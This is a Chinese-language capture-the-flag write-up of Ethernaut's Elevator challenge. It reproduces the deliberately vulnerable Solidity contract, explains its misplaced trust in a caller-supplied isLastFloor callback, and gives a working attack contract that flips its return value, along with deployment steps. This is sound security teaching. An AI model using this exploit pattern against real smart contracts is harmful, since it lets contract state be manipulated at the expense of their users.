Ethernaut Hacking Trip #11 Elevator(中文)

这一期更新,我们来讲讲Ethernaut的第11个Hacking挑战Elevator。 首先我们来看看代码。这一期代码看似简单,不过是一个合约Elevator+一个接口Building,但是经验告诉我们,不能被表象蒙蔽,简单的杀招最为致命。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

接着,我们来看看挑战要求和提示。

post image

读起来就和谜语一样:solidity不会遵守承诺?电梯会被用在建筑上?这到底是什么意思呢? 要解决这个问题,还是要回到我们最可靠的材料——代码上,看看它讲了一个怎样的故事。

  1. 代码解读 1) 合约Elevator首先定义了两个公共变量,布尔型的top和uint型的floor。顾名思义,top记录当前是否达到顶层,floor记录当前达到第几层。 接下来是公共函数goTo,其参数为_floor。在函数中,创建了building接口。 Building building = Building( msg.sender)

    这句话的本意应该是Building合约从外部调用此函数(即为msg.sender ),从而使building能够用Building合约里的所有功能。但是我们并不控制Building合约,所以我们肯定是不能让此处的building正常行使职能的。在此,就要提到合约hacking的一个准则:让合约不正常的行使职能。所以,这个interface应该是我们突破口的一部分。

    接下来的if语句就很耐人寻味了。如果(! building.isLastFloor(_floor))为真,那么执行完语句后的top就为假;如果(! building.isLastFloor(_floor))为假,那么根本就不会执行语句!所以,这就是这个挑战需要我们hack的地方了:使得top为真,即达到building的top。

    2) 接口Building的函数isLastFloor读取uint参数,返回布尔值。并且,它的状态声明里没有view!这意味着我们可以随心所欲地override,从而完成我们的hacking大业。

  2. Hacking思路

    1) 合约hacking有一个亘古不破的原则:最好的hacker是另一个合约。结合我们在代码解读里获得的思路,我们可以这么做:新开另一个合约,在合约里重新定义一个函数isLastFloor。这样,在新合约中调用Elevator时,就会按照我们重写的isLastFloor的逻辑运行了。

    2) 现在的关键是isLastFloor的逻辑。我们要达到的效果是,第一次调用它的时候结果为假,第二次调用它的时候结果为真。这个实现办法就多了。下面的代码提供了一种解决思路。

  3. Hacking实现

    1) ElevatorAttack.sol

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.10;
    
    import "./Elevator.sol";
    
    contract ElevatorAttack {
        Elevator public target;
        bool public toggle = true;
        constructor(address _address) public {
            target = Elevator(_address);
        }
        
        function isLastFloor(uint) public  returns(bool){
            toggle = !toggle;
            return toggle;
        }
        
        function setFloor(uint _flo) public {
            target.goTo(_flo);
        }
    }
    
  1. 在Ethernaut页面的console中输入await contract.address,得到当前合约地址。同时,在Remix中部署这个地址(不要忘了环境要选择Injected Web3,用登录Ethernaut的同一地址),执行setFloor()。

post image
post image
post image

3) 再回到Ethernaut界面,执行await contract.floor() 以及 await contract.top()。Floor为刚才我们设定的值,top为true。恭喜,我们hacking成功了!

post image

如果我的讲解有任何错误,欢迎在我的推特中留言或者私信(@snow_elven)。如果您喜欢我的讲解,还请您帮忙宣传转发,小小打赏。 谢谢。